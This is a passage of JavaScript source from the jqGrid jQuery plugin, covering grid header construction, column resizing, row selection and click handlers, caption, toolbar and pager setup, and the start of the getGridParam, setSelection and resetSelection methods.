$("th",thr).each(function ( j ) { tmpcm = ts.p.colModel[j]; w = tmpcm.width; if(tmpcm.resizable === undefined) { tmpcm.resizable = true; } if(tmpcm.resizable){ res = document.createElement("span"); $(res).html(" ").addClass('ui-jqgrid-resize ui-jqgrid-resize-'+dir) .css("cursor","col-resize"); $(this).addClass(ts.p.resizeclass); } else { res = ""; } $(this).css("width",w+"px").prepend(res); res = null; var hdcol = "", clcol =""; if( tmpcm.hidden ) { $(this).css("display","none"); hdcol = "display:none;"; } if(tmpcm.labelClasses) { clcol = "class='"+tmpcm.labelClasses+"'"; } firstr += "<td "+clcol+" role='gridcell' style='height:0px;width:"+w+"px;"+hdcol+"'></td>"; grid.headers[j] = { width: w, el: this }; sort = tmpcm.sortable; if( typeof sort !== 'boolean') { tmpcm.sortable = true; sort=true; } var nm = tmpcm.name; if( !(nm === 'cb' || nm==='subgrid' || nm==='rn' || nm==='sc') ) { if(ts.p.viewsortcols[2]){ $(">div",this).addClass('ui-jqgrid-sortable'); } } tmpcm.canvas_width = tmpcm.autosize_headers ? ($.jgrid.getTextWidth( $("div", this)[0].outerText, hdr_font) + (tmpcm.colmenu ? $.jgrid.floatNum( $(".colmenuspan", this).parent().width()) : 0) + $.jgrid.floatNum( $("div", this).css("padding-left")) + $.jgrid.floatNum( $("div", this).css("padding-right")) + $.jgrid.floatNum($(".ui-jqgrid-resize", this).width())) : 0; if(sort) { if(ts.p.multiSort) { if(ts.p.viewsortcols[0]) { $("div span.s-ico",this).show(); if( tmpcm.lso ){ $("div span.ui-icon-"+tmpcm.lso,this).removeClass(disabled).css("display",""); } } else if( tmpcm.lso) { $("div span.s-ico",this).show(); $("div span.ui-icon-"+tmpcm.lso,this).removeClass(disabled).css("display",""); } } else { if(ts.p.viewsortcols[0]) { $("div span.s-ico",this).show(); if(j===ts.p.lastsort){ $("div span.ui-icon-"+ts.p.sortorder,this).removeClass(disabled).css("display",""); } } else if(j === ts.p.lastsort && ts.p.sortname !== "") { $("div span.s-ico",this).show(); $("div span.ui-icon-"+ts.p.sortorder,this).removeClass(disabled).css("display",""); } } } if(ts.p.footerrow) { tfoot += "<td role='gridcell' "+formatCol(j,0,'', null, '', false)+"> </td>"; } if(ts.p.headerrow) { trhead += "<td role='gridcell' "+formatCol(j,0,'', null, '', false)+"> </td>"; } }).mousedown(function(e) { if ($(e.target).closest("th>span.ui-jqgrid-resize").length !== 1) { return; } var ci = getColumnHeaderIndex(this), cmax; e.preventDefault(); clicks++; setTimeout(function() { clicks = 0; }, 400); if (clicks === 2) { // double click event handler try { if(ts.p.colModel[ci].autosize === true) { cmax = $(ts).jqGrid('getCol', ci, false, 'maxwidth'); $(ts).jqGrid('resizeColumn', ci, cmax + ( bstw2 ? ts.p.cellLayout : 0 ) ) .jqGrid('refreshGroupHeaders'); } } catch(e1) { } finally { clicks = 0; } return; } else { if(ts.p.forceFit===true) { ts.p.nv= nextVisible(ci); } grid.dragStart(ci, e, getOffset(ci)); } return false; }).click(function(e) { if (ts.p.disableClick) { ts.p.disableClick = false; return false; } var s = "th>div.ui-th-div",r,d; if (!ts.p.viewsortcols[2]) { s = "th>div>span>span.ui-grid-ico-sort"; } var t = $(e.target).closest(s); if (t.length !== 1) { return; } var ci; if(ts.p.frozenColumns) { var tid = $(this)[0].id.substring( ts.p.id.length + 1 ); ci = $.jgrid.getElemByAttrVal(ts.p.colModel, 'name', tid, true); } else { ci = getColumnHeaderIndex(this); } // if($(e.target).hasClass('colmenuspan')) { if( !$.jgrid.isNull($("#column_menu")[0]) ) { $("#column_menu").remove(); } if(ci === undefined) { return; } var grid_offset = $("#gbox_"+ts.p.id).offset(); var offset = $(this).offset(), left = ( offset.left ) - (grid_offset.left), top = 0;//( offset.top); if(ts.p.direction === "ltr") { left += $(this).outerWidth(); } buildColMenu(ci, left, top); if(ts.p.menubar === true) { $("#"+ts.p.id+"_menubar").hide(); } e.stopPropagation(); return; } // if (!ts.p.viewsortcols[2]) { r=true;d=t.attr("sort"); } if( !$.jgrid.isNull(ci) ){ sortData( $('div',this)[0].id, ci, r, d, this); } // added aria grid if(ts.p.selHeadInd !== undefined) { $(grid.headers[ts.p.selHeadInd].el).attr("tabindex", "-1"); } ts.p.selHeadInd = ci; $(this).attr("tabindex", "0"); // end aria //return false; }); tmpcm = null; // reset font cache jQuery._cacheCanvas = null; if (ts.p.sortable && $.fn.sortable) { try { $(ts).jqGrid("sortableColumns", thr); } catch (e){} } if(ts.p.footerrow) { tfoot += "</tr></tbody></table>"; } if(ts.p.headerrow) { trhead += "</tr></tbody></table>"; } firstr += "</tr>"; tbody = document.createElement("tbody"); //$(this).append(firstr); $(tbody).attr({"role":"rowgroup"}); this.appendChild(tbody); $(this).addClass(getstyle(stylemodule,"rowTable", true, 'ui-jqgrid-btable ui-common-table')).append(firstr); if(ts.p.altRows) { $(this).addClass(getstyle(stylemodule,"stripedTable", true, '')); } //$(firstr).insertAfter(this); firstr = null; var hTable = $("<table "+getstyle(stylemodule,'headerTable',false,'ui-jqgrid-htable ui-common-table')+" style='width:"+ts.p.tblwidth+"px' role='grid' aria-labelledby='gbox_"+this.id+"'></table>").append(thead), hg = (ts.p.caption && ts.p.hiddengrid===true) ? true : false, hb = $("<div class='ui-jqgrid-hbox" + (dir==="rtl" ? "-rtl" : "" )+"'></div>"); thead = null; grid.hDiv = document.createElement("div"); grid.hDiv.style.width = (grid.width - bstw) + "px"; grid.hDiv.className = getstyle(stylemodule,'headerDiv', true,'ui-jqgrid-hdiv'); $(grid.hDiv).append(hb); $(hb).append(hTable); hTable = null; if(hg) { $(grid.hDiv).hide(); } if(ts.p.pager){ // TBD -- escape ts.p.pager here? if(typeof ts.p.pager === "string") {if(ts.p.pager.slice(0,1) === "#") { ts.p.pager = ts.p.pager.substring(1);} } else { ts.p.pager = $(ts.p.pager).attr("id");} $("#"+$.jgrid.jqID(ts.p.pager)).css({width: (grid.width - bstw) +"px"}).addClass(getstyle(stylemodule,'pagerBox', true,'ui-jqgrid-pager')).appendTo(eg); if(hg) { $("#"+$.jgrid.jqID(ts.p.pager)).hide(); } setPager(ts.p.pager,''); ts.p.pager = "#" + $.jgrid.jqID(ts.p.pager); } if( ts.p.cellEdit === false && ts.p.hoverrows === true) { $(ts).on({ mouseover: function(e) { ptr = $(e.target).closest("tr.jqgrow"); if($(ptr).attr("class") !== "ui-subgrid") { $(ptr).addClass(hover); } }, mouseout: function(e) { ptr = $(e.target).closest("tr.jqgrow"); $(ptr).removeClass(hover); } }); } var ri,ci, tdHtml; function selectMultiRow(ri, scb, e, selection) { if((ts.p.multiselect && ts.p.multiboxonly) || ts.p.multimail ) { if(scb){ $(ts).jqGrid("setSelection", ri, selection, e); } else if( ts.p.multiboxonly && ts.p.multimail) { // execute onSelectRow $(ts).triggerHandler("jqGridSelectRow", [ri, false, e]); if( ts.p.onSelectRow) { ts.p.onSelectRow.call(ts, ri, false, e); } } else { var frz = ts.p.frozenColumns ? ts.p.id+"_frozen" : ""; $(ts.p.selarrrow).each(function(i,n){ var trid = $(ts).jqGrid('getGridRowById',n); if(trid) { $( trid ).removeClass(highlight); } $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+$.jgrid.jqID(n))[ts.p.useProp ? 'prop': 'attr']("checked", false); if(frz) { $("#"+$.jgrid.jqID(n), "#"+$.jgrid.jqID(frz)).removeClass(highlight); $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+$.jgrid.jqID(n), "#"+$.jgrid.jqID(frz))[ts.p.useProp ? 'prop': 'attr']("checked", false); } }); ts.p.selarrrow = []; $(ts).jqGrid("setSelection", ri, selection, e); } } else { $(ts).jqGrid("setSelection", ri, selection, e); } } $(ts).before(grid.hDiv).on({ 'click': function(e) { td = e.target; ptr = $(td,ts.rows).closest("tr.jqgrow"); if($(ptr).length === 0 || ptr[0].className.indexOf( disabled ) > -1 || ($(td,ts).closest("table.ui-jqgrid-btable").attr('id') || '').replace("_frozen","") !== ts.id ) { return this; } var scb = $(td).filter(":enabled").hasClass("cbox"), cSel = $(ts).triggerHandler("jqGridBeforeSelectRow", [ptr[0].id, e]); cSel = (cSel === false || cSel === 'stop') ? false : true; if ($.jgrid.isFunction(ts.p.beforeSelectRow)) { var allowRowSelect = ts.p.beforeSelectRow.call(ts, ptr[0].id, e); if (allowRowSelect === false || allowRowSelect === 'stop') { cSel = false; } } if(scb && cSel === false){ $(e.target).prop('checked',!$(e.target).prop('checked')); } if (td.tagName === 'A' || ((td.tagName === 'INPUT' || td.tagName === 'TEXTAREA' || td.tagName === 'OPTION' || td.tagName === 'SELECT' ) && !scb && !(td.tagName === 'INPUT' && td.id.startsWith("jqs_"+ts.p.id))) ) { return; } ri = ptr[0].id; td = $(td).closest("tr.jqgrow>td"); if (td.length > 0) { ci = $.jgrid.getCellIndex(td); } if(ts.p.cellEdit === true && !ts.p.ariaBody) { if(ts.p.multiselect && scb && cSel){ $(ts).jqGrid("setSelection", ri ,true,e); } else if (td.length > 0) { try { $(ts).jqGrid("editCell", ptr[0].rowIndex, ci, true, e); } catch (_) {} } return; } if (td.length > 0) { tdHtml = $(td).closest("td,th").html(); $(ts).triggerHandler("jqGridCellSelect", [ri,ci,tdHtml,e]); if($.jgrid.isFunction(ts.p.onCellSelect)) { ts.p.onCellSelect.call(ts,ri,ci,tdHtml,e); } } if (!cSel) { return; } if( ts.p.multimail && ts.p.multiselect) { if (e.shiftKey) { if (scb) { var initialRowSelect = $(ts).jqGrid('getGridParam', 'selrow'), CurrentSelectIndex = $(ts).jqGrid('getInd', ri), InitialSelectIndex = $(ts).jqGrid('getInd', initialRowSelect), startID = "", endID = ""; if (CurrentSelectIndex > InitialSelectIndex) { startID = initialRowSelect; endID = ri; } else { startID = ri; endID = initialRowSelect; } var shouldSelectRow = false, shouldResetRow = false, perform_select = true; if( $.inArray( ri, ts.p.selarrrow) > -1) { perform_select = false; } $.each($(this).getDataIDs(), function(_, id){ if ((shouldResetRow = id === startID || shouldResetRow)){ $(ts).jqGrid('resetSelection', id); } return id !== endID; }); if(perform_select) { $.each($(this).getDataIDs(), function(_, id){ if ((shouldSelectRow = id === startID || shouldSelectRow)){ $(ts).jqGrid('setSelection', id, false); } return id !== endID; }); } ts.p.selrow = (CurrentSelectIndex > InitialSelectIndex) ? endID : startID; return; } window.getSelection().removeAllRanges(); } selectMultiRow( ri, scb, e, false ); } else if ( !ts.p.multikey ) { selectMultiRow( ri, scb, e, true ); } else { if(e[ts.p.multikey]) { $(ts).jqGrid("setSelection", ri, true, e); } else if(ts.p.multiselect && scb) { scb = $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+ri).is(":checked"); $("#jqg_"+$.jgrid.jqID(ts.p.id)+"_"+ri)[ts.p.useProp ? 'prop' : 'attr']("checked", !scb); } } }, 'reloadGrid': function(e,opts) { if(ts.p.treeGrid ===true) { ts.p.datatype = ts.p.treedatatype; } opts = opts || {}; if (opts.current) { ts.grid.selectionPreserver(ts); } if(ts.p.datatype==="local"){ $(ts).jqGrid("resetSelection"); if(ts.p.data.length) { normalizeData(); refreshIndex(); } } else if(!ts.p.treeGrid) { ts.p.selrow=null; if(ts.p.multiselect) { if(!ts.p.preserveSelection) { ts.p.selarrrow =[]; setHeadCheckBox(false); } } ts.p.savedRow = []; } if(ts.p.scroll) { emptyRows.call(ts, true, false); } if (opts.page) { var page = opts.page; if (page > ts.p.lastpage) { page = ts.p.lastpage; } if (page < 1) { page = 1; } ts.p.page = page; if (ts.grid.prevRowHeight) { ts.grid.bDiv.scrollTop = (page - 1) * ts.grid.prevRowHeight * ts.p.rowNum; } else { ts.grid.bDiv.scrollTop = 0; } } if (ts.grid.prevRowHeight && ts.p.scroll && opts.page === undefined) { delete ts.p.lastpage; ts.grid.populateVisible(); } else { ts.grid.populate(); } if(ts.p.inlineNav===true) {$(ts).jqGrid('showAddEditButtons');} if(ts.p.searchCols) { if(!$.isEmptyObject(ts.p._results) ) { ts.p._results ={}; $.jgrid.searchColOnEnter( ts.p.id, null ); } } return false; }, 'dblclick' : function(e) { td = e.target; ptr = $(td,ts.rows).closest("tr.jqgrow"); if($(ptr).length === 0 ){return;} ri = ptr[0].rowIndex; ci = $.jgrid.getCellIndex(td); var dbcr = $(ts).triggerHandler("jqGridDblClickRow", [$(ptr).attr("id"),ri,ci,e]); if( !$.jgrid.isNull(dbcr) ) { return dbcr; } if ($.jgrid.isFunction(ts.p.ondblClickRow)) { dbcr = ts.p.ondblClickRow.call(ts,$(ptr).attr("id"),ri,ci, e); if( !$.jgrid.isNull(dbcr) ) { return dbcr; } } }, 'contextmenu' : function(e) { td = e.target; ptr = $(td,ts.rows).closest("tr.jqgrow"); if($(ptr).length === 0 ){return;} if(!ts.p.multiselect) { $(ts).jqGrid("setSelection",ptr[0].id,true,e); } ri = ptr[0].rowIndex; ci = $.jgrid.getCellIndex(td); var rcr = $(ts).triggerHandler("jqGridRightClickRow", [$(ptr).attr("id"),ri,ci,e]); if( !$.jgrid.isNull(rcr) ) { return rcr; } if ($.jgrid.isFunction(ts.p.onRightClickRow)) { rcr = ts.p.onRightClickRow.call(ts,$(ptr).attr("id"),ri,ci, e); if( !$.jgrid.isNull(rcr) ) { return rcr; } } } }); //--- grid.bDiv = document.createElement("div"); if(isMSIE) { if(String(ts.p.height).toLowerCase() === "auto") { ts.p.height = "100%"; } } $(grid.bDiv) .append($('<div style="position:relative;"></div>').append('<div></div>').append(this)) .addClass("ui-jqgrid-bdiv") .css({ height: ts.p.height+(isNaN(ts.p.height)?"":"px"), width: (grid.width - bstw)+"px"}) .on("scroll", grid.scrollGrid); $(grid.bDiv).find("table").first().css({width:ts.p.tblwidth+"px"}); if( !$.support.tbody ) { //IE if( $("tbody",this).length === 2 ) { $("tbody",this).slice( 1 ).remove();} } if(ts.p.multikey){ if( $.jgrid.msie()) { $(grid.bDiv).on("selectstart",function(){return false;}); } else { $(grid.bDiv).on("mousedown",function(){return false;}); } } if(hg) { // hidden grid $(grid.bDiv).hide(); } var icoo = iconbase + " " + getstyle(stylemodule,'icon_caption_open', true), icoc = iconbase + " " + getstyle(stylemodule,'icon_caption_close', true); grid.cDiv = document.createElement("div"); var arf = ts.p.hidegrid===true ? $("<a role='link' class='ui-jqgrid-titlebar-close HeaderButton "+cornerall+"' title='"+($.jgrid.getRegional(ts, "defaults.showhide", ts.p.showhide) || "")+"'" + " />").hover( function(){ arf.addClass(hover);}, function() {arf.removeClass(hover);}) .append("<span class='ui-jqgrid-headlink " + icoo +"'></span>").css((dir==="rtl"?"left":"right"),"0px") : ""; $(grid.cDiv).append(arf).append("<span class='ui-jqgrid-title'>"+ts.p.caption+"</span>") .addClass("ui-jqgrid-titlebar ui-jqgrid-caption"+(dir==="rtl" ? "-rtl" :"" )+" "+getstyle(stylemodule,'gridtitleBox',true)); ///// toolbar menu if( ts.p.menubar === true) { //var fs = $('.ui-jqgrid-view').css('font-size') || '11px'; var arf1 = '<ul id="'+ts.p.id+'_menubar" class="ui-search-menu modal-content column-menu ui-menu jqgrid-caption-menu ' + colmenustyle.menu_widget+'" role="menubar" tabindex="0"></ul>'; $("#gbox_"+ts.p.id).append(arf1); $(grid.cDiv).append("<a role='link' class='ui-jqgrid-menubar menubar-"+(dir==="rtl" ? "rtl" :"ltr" )+"' style=''><span class='colmenuspan "+iconbase+' '+colmenustyle.icon_toolbar_menu+"'></span></a>"); $(".ui-jqgrid-menubar",grid.cDiv).hover( function(){ $(this).addClass(hover);}, function() {$(this).removeClass(hover); }).on('click',function(e) { var pos = $(e.target).position(); $("#"+ts.p.id+"_menubar").show(); if(ts.p.direction==="rtl") { $("#"+ts.p.id+"_menubar").css({left : pos.left - $("#"+ts.p.id+"_menubar").width() - 20 }); } }); } ///// end toolbar menu $(grid.cDiv).insertBefore(grid.hDiv); if( ts.p.toolbar[0] ) { var tbstyle = getstyle(stylemodule, 'customtoolbarBox', true, 'ui-userdata'); grid.uDiv = document.createElement("div"); if(ts.p.toolbar[1] === "top") {$(grid.uDiv).insertBefore(grid.hDiv);} else if (ts.p.toolbar[1]==="bottom" ) {$(grid.uDiv).insertAfter(grid.hDiv);} if(ts.p.toolbar[1]==="both") { grid.ubDiv = document.createElement("div"); $(grid.uDiv).addClass( tbstyle + " ui-userdata-top").attr("id","t_"+this.id).insertBefore(grid.hDiv).width(grid.width - bstw); $(grid.ubDiv).addClass( tbstyle + " ui-userdata-bottom").attr("id","tb_"+this.id).insertAfter(grid.hDiv).width(grid.width - bstw); if(hg) {$(grid.ubDiv).hide();} } else { $(grid.uDiv).width(grid.width - bstw).addClass( tbstyle + " ui-userdata-top").attr("id","t_"+this.id); } if(hg) {$(grid.uDiv).hide();} } if(ts.p.toppager) { ts.p.toppager = $.jgrid.jqID(ts.p.id)+"_toppager"; grid.topDiv = $("<div id='"+ts.p.toppager+"'></div>")[0]; $(grid.topDiv).addClass(getstyle(stylemodule, 'toppagerBox', true, 'ui-jqgrid-toppager')).width(grid.width - bstw).insertBefore(grid.hDiv); setPager(ts.p.toppager,'_t'); ts.p.toppager = "#"+ts.p.toppager; } if(ts.p.footerrow) { grid.sDiv = $("<div class='ui-jqgrid-sdiv'></div>")[0]; hb = $("<div class='ui-jqgrid-hbox"+(dir==="rtl"?"-rtl":"")+"'></div>"); $(grid.sDiv).append(hb).width(grid.width - bstw).insertAfter(grid.hDiv); $(hb).append(tfoot); grid.footers = $(".ui-jqgrid-ftable",grid.sDiv)[0].rows[0].cells; if(ts.p.rownumbers) { grid.footers[0].className = getstyle(stylemodule, 'rownumBox', true, 'jqgrid-rownum'); } if(hg) {$(grid.sDiv).hide();} } if(ts.p.headerrow) { grid.hrDiv = $("<div class='ui-jqgrid-hrdiv'></div>")[0]; hb = $("<div class='ui-jqgrid-hbox"+(dir==="rtl"?"-rtl":"")+"'></div>"); $(grid.hrDiv).append(hb).width(grid.width - bstw).insertAfter(grid.hDiv); $(hb).append(trhead); grid.hrheaders = $(".ui-jqgrid-hrtable",grid.hrDiv)[0].rows[0].cells; if(ts.p.rownumbers) { grid.hrheaders[0].className = getstyle(stylemodule, 'rownumBox', true, 'jqgrid-rownum'); } if(hg) { $(grid.nDiv).hide(); } } hb = null; if(ts.p.caption) { var tdt = ts.p.datatype; if(ts.p.hidegrid===true) { $(".ui-jqgrid-titlebar-close",grid.cDiv).click( function(e){ var onHdCl = $.jgrid.isFunction(ts.p.onHeaderClick), elems = ".ui-jqgrid-bdiv, .ui-jqgrid-hdiv, .ui-jqgrid-toppager, .ui-jqgrid-pager, .ui-jqgrid-sdiv, .ui-jqgrid-hrdiv", counter, self = this; if(ts.p.toolbar[0]===true) { if( ts.p.toolbar[1]==='both') { elems += ', #' + $(grid.ubDiv).attr('id'); } elems += ', #' + $(grid.uDiv).attr('id'); } counter = $(elems,"#gview_"+$.jgrid.jqID(ts.p.id)).length; if(ts.p.gridstate === 'visible') { $(elems,"#gbox_"+$.jgrid.jqID(ts.p.id)).slideUp("fast", function() { counter--; if (counter === 0) { $("span",self).removeClass(icoo).addClass(icoc); ts.p.gridstate = 'hidden'; if($("#gbox_"+$.jgrid.jqID(ts.p.id)).hasClass("ui-resizable")) { $(".ui-resizable-handle","#gbox_"+$.jgrid.jqID(ts.p.id)).hide(); } $(ts).triggerHandler("jqGridHeaderClick", [ts.p.gridstate,e]); if(onHdCl) {if(!hg) {ts.p.onHeaderClick.call(ts,ts.p.gridstate,e);}} } }); } else if(ts.p.gridstate === 'hidden'){ $(elems,"#gbox_"+$.jgrid.jqID(ts.p.id)).slideDown("fast", function() { counter--; if (counter === 0) { $("span",self).removeClass(icoc).addClass(icoo); if(hg) {ts.p.datatype = tdt;populate();hg=false;} ts.p.gridstate = 'visible'; if($("#gbox_"+$.jgrid.jqID(ts.p.id)).hasClass("ui-resizable")) { $(".ui-resizable-handle","#gbox_"+$.jgrid.jqID(ts.p.id)).show(); } $(ts).triggerHandler("jqGridHeaderClick", [ts.p.gridstate,e]); if(onHdCl) {if(!hg) {ts.p.onHeaderClick.call(ts,ts.p.gridstate,e);}} } }); } return false; }); if(hg) {ts.p.datatype="local"; $(".ui-jqgrid-titlebar-close",grid.cDiv).trigger("click");} } } else { $(grid.cDiv).hide(); if(!ts.p.toppager) { $(grid.hDiv).addClass(getstyle(ts.p.styleUI+'.common', 'cornertop', true)); } } if(ts.p.headerrow) { $(grid.hrDiv).after(grid.bDiv); } else { $(grid.hDiv).after(grid.bDiv); } $(grid.hDiv) .mousemove(function (e) { if(grid.resizing){grid.dragMove(e);return false;} }); $(".ui-jqgrid-labels",grid.hDiv).on("selectstart", function () { return false; }); $(document).on( "mouseup.jqGrid" + ts.p.id, function () { if(grid.resizing) { grid.dragEnd( true ); return false;} return true; }); if(ts.p.direction === 'rtl') { $(ts).on('jqGridAfterGridComplete.setRTLPadding',function(){ var vScrollWidth = grid.bDiv.offsetWidth - grid.bDiv.clientWidth, gridhbox = $(grid.hDiv).find("div").first(); //ts.p.scrollOffset = vScrollWidth; // for future implementation if( vScrollWidth > 0 ) vScrollWidth += 2; if (gridhbox.hasClass("ui-jqgrid-hbox-rtl")) { $(grid.hDiv).find("div").first().css({paddingLeft: vScrollWidth + "px"}); } grid.hDiv.scrollLeft = grid.bDiv.scrollLeft; }); } if(ts.p.autoResizing) { $(ts).on('jqGridAfterGridComplete.setAutoSizeColumns',function(){ var arfrozen = false, focused = false; if(ts.p.frozenColumns === true) { focused = $(':focus', '.frozen-div').attr("id"); $(ts).jqGrid("destroyFrozenColumns"); arfrozen = true; } if(ts.p.colSpanHeader.length > 0) { $(ts).jqGrid('destroyColSpanHeader',false); } $(ts.p.colModel).each(function(i){ if (this.autosize && !this.hidden) { if(this._maxsize && this._maxsize > 0) { $(ts).jqGrid('resizeColumn', i, this._maxsize + ts.p.cellLayout, false, false ); //this._maxsize = this.canvas_width; } } }); $(ts).jqGrid('refreshGroupHeaders'); if(ts.p.colSpanHeader.length > 0) { $(ts).jqGrid('setColSpanHeader', ts.p.colSpanHeader); } if(arfrozen) { $(ts).jqGrid("setFrozenColumns"); if(focused) { setTimeout(function(){ $("#"+focused, '.frozen-div').trigger('focus'); },10); } } }); } if(ts.p.searchCols) { $(ts).on("jqGridPaging.searchCols", function() { if(!$.isEmptyObject(ts.p._results) ) { ts.p._results ={}; $.jgrid.searchColOnEnter( ts.p.id, null ); } }); $(ts).on("jqGridSortCol.searchCols", function() { if(!$.isEmptyObject(ts.p._results) ) { ts.p._results ={}; $.jgrid.searchColOnEnter( ts.p.id, null ); } }); if(ts.p.colMenu && ts.p.searchColOptions.colmenu) { $(ts).jqGrid('addColSearchMenu'); } } ts.formatCol = formatCol; ts.sortData = sortData; ts.updatepager = updatepager; ts.refreshIndex = refreshIndex; ts.setHeadCheckBox = setHeadCheckBox; ts.constructTr = constructTr; ts.formatter = function ( rowId, cellval , colpos, rwdat, act){return formatter(rowId, cellval , colpos, rwdat, act);}; $.extend(grid,{populate : populate, emptyRows: emptyRows, beginReq: beginReq, endReq: endReq}); this.grid = grid; ts.addXmlData = function(d) {addXmlData( d );}; ts.addJSONData = function(d) {addJSONData( d );}; ts.addLocalData = function(d) { return addLocalData( d );}; ts.addIndexedDBData = function(d) { return addIndexedDBData( d );}; ts.treeGrid_beforeRequest = function() { treeGrid_beforeRequest(); }; //bvn13 ts.treeGrid_afterLoadComplete = function() {treeGrid_afterLoadComplete(); }; this.grid.cols = this.rows[0].cells; if ($.jgrid.isFunction( ts.p.onInitGrid )) { ts.p.onInitGrid.call(ts); } $(ts).triggerHandler("jqGridInitGrid"); populate(); ts.p.hiddengrid=false; if(ts.p.responsive) { var supportsOrientationChange = "onorientationchange" in window, orientationEvent = supportsOrientationChange ? "orientationchange" : "resize"; $(window).on( orientationEvent, function(){ if($.jgrid.isVisible(ts)) { $(ts).jqGrid('resizeGrid', 500, true, ts.p.resizeHeight,true); } }); } }); }; $.jgrid.extend({ getGridParam : function(name, grid_module) { var $t = this[0], ret; if (!$t || !$t.grid) {return;} if(grid_module === undefined && typeof grid_module !== 'string') { grid_module = 'jqGrid'; //$t.p } ret = $t.p; if(grid_module !== 'jqGrid') { try { ret = $($t).data( grid_module ); } catch (e) { ret = $t.p; } } if (!name) { return ret; } return ret[name] !== undefined ? ret[name] : null; }, setGridParam : function (newParams, overwrite){ return this.each(function(){ if( $.jgrid.isNull(overwrite) ) { overwrite = false; } if (this.grid && typeof newParams === 'object') { if(overwrite === true) { var params = $.extend({}, this.p, newParams); this.p = params; } else { $.extend(true,this.p,newParams); } } }); }, getGridRowById : function ( rowid ) { var row; this.each( function(){ try { row = this.rows.namedItem( rowid ); /* var i = this.rows.length; while(i--) { if( rowid.toString() === this.rows[i].id) { row = this.rows[i]; break; } } */ } catch ( e ) { row = $(this.grid.bDiv).find( "#" + $.jgrid.jqID( rowid ))[0]; } }); return row; }, getGridRowByIndex : function (index) { //first row = 1 var row = null; this.each(function(){ var i = this.rows.length - 1; if(index >= 1 && i>=1 && index <= i) { row = this.rows[index]; } }); return row; }, getDataIDs : function () { var ids=[], i=0, len, j=0; this.each(function(){ len = this.rows.length; if(len && len>0){ while(i<len) { if($(this.rows[i]).hasClass('jqgrow') && this.rows[i].id !== "norecs") { ids[j] = this.rows[i].id; j++; } i++; } } }); return ids; }, setSelection : function(selection,onsr, e, isHight) { return this.each(function(){ var $t = this, stat,pt, ner, ia, tpsr, fid, csr, tfid, getstyle = $.jgrid.getMethod("getStyleUI"), highlight = getstyle($t.p.styleUI+'.common','highlight', true), disabled = getstyle($t.p.styleUI+'.common','disabled', true); if(selection === undefined) { return; } if(isHight === undefined ) { isHight = true; } isHight = isHight === false ? false : true; onsr = onsr === false ? false : true; pt=$($t).jqGrid('getGridRowById', selection); if(!pt || !pt.className || pt.className.indexOf( disabled ) > -1 ) { return; } function scrGrid(iR){ var ch = $($t.grid.bDiv)[0].clientHeight, st = $($t.grid.bDiv)[0].scrollTop, rpos = $($t.rows[iR]).position().top, rh = $t.rows[iR].clientHeight; if(rpos+rh >= ch+st) { $($t.grid.bDiv)[0].scrollTop = rpos-(ch+st)+rh+st; } else if(rpos < ch+st) { if(rpos < st) { $($t.grid.bDiv)[0].scrollTop = rpos; } } } if($t.p.scrollrows===true) { ner = $($t).jqGrid('getGridRowById',selection).rowIndex; if(ner >=0 ){ scrGrid(ner); } } if($t.p.frozenColumns === true ) { fid = $t.p.id+"_frozen"; } if($t.p.frozenRows === true ) { tfid = $t.p.id+"_fr"; } if(!$t.p.multiselect) { if(tfid) { $("#"+$.jgrid.jqID($t.p.selrow), "#"+$.jgrid.jqID(tfid)).removeClass(highlight); } if(pt.className !== "ui-subgrid") { if( $t.p.selrow !== pt.id ) { if( isHight ) { csr = $($t).jqGrid('getGridRowById', $t.p.selrow); if( csr ) { $( csr ).removeClass(highlight).attr({"aria-selected":"false" , "tabindex" : "-1"}); } $(pt).addClass(highlight).attr({"aria-selected":"true" ,"tabindex" : "0"});//.focus(); if(fid) { $("#"+$.jgrid.jqID($t.p.selrow), "#"+$.jgrid.jqID(fid)).removeClass(highlight); $("#"+$.jgrid.jqID(selection), "#"+$.jgrid.jqID(fid)).addClass(highlight); } } stat = true; } else { stat = false; } $t.p.selrow = pt.id; if( onsr ) { $($t).triggerHandler("jqGridSelectRow", [pt.id, stat, e]); if( $t.p.onSelectRow) { $t.p.onSelectRow.call($t, pt.id, stat, e); } } } } else { //unselect selectall checkbox when deselecting a specific row $t.setHeadCheckBox( false ); $t.p.selrow = pt.id; ia = $.inArray($t.p.selrow,$t.p.selarrrow); if ( ia === -1 ){ if(pt.className !== "ui-subgrid") { $(pt).addClass(highlight).attr("aria-selected","true");} stat = true; $t.p.selarrrow.push($t.p.selrow); } else if( ia !== -1 && e === "_sp_") { // selection preserver multiselect if(pt.className !== "ui-subgrid") { $(pt).addClass(highlight).attr("aria-selected","true");} stat = true; } else { if(pt.className !== "ui-subgrid") { $(pt).removeClass(highlight).attr("aria-selected","false");} stat = false; $t.p.selarrrow.splice(ia,1); tpsr = $t.p.selarrrow[0]; $t.p.selrow = (tpsr === undefined) ? null : tpsr; } $("#jqg_"+$.jgrid.jqID($t.p.id)+"_"+$.jgrid.jqID(pt.id))[$t.p.useProp ? 'prop': 'attr']("checked",stat); if(fid) { if(isHight) { if(ia === -1) { $("#"+$.jgrid.jqID(selection), "#"+$.jgrid.jqID(fid)).addClass(highlight); } else { $("#"+$.jgrid.jqID(selection), "#"+$.jgrid.jqID(fid)).removeClass(highlight); } } $("#jqg_"+$.jgrid.jqID($t.p.id)+"_"+$.jgrid.jqID(selection), "#"+$.jgrid.jqID(fid))[$t.p.useProp ? 'prop': 'attr']("checked",stat); } if( onsr ) { $($t).triggerHandler("jqGridSelectRow", [pt.id, stat, e]); if( $t.p.onSelectRow) { $t.p.onSelectRow.call($t, pt.id , stat, e); } } //si if($.jgrid.isFunction($t.p.onMultiSelect)) {$t.p.onMultiSelect.call($t, $t.p.selarrrow);} } }); }, resetSelection : function( rowid ){ return this.each(function(){ var t = this, sr, fid, getstyle = $.jgrid.getMethod("getStyleUI"), highlight = getstyle(t.p.styleUI+'.common','highlight', true), hover = getstyle(t.p.styleUI+'.common','hover', true); if( t.p.frozenColumns === true ) { fid = t.p.id+"_frozen"; } if(rowid !== undefined ) { sr = rowid === t.p.selrow ? t.p.selrow : rowid; $("#"+$.jgrid.jqID(t.p.id)+" tbody").first().find("tr#"+$.jgrid.jqID(sr)).removeClass( highlight ).attr("aria-selected","false"); if (fid) { $("#"+$.jgrid.jqID(sr), "#"+$.jgrid.jqID(fid)).removeClass( highlight ); } if(t.p.multiselect) { $("#jqg_"+$.jgrid.jqID(t.p.id)+"_"+$.jgrid.jqID(sr), 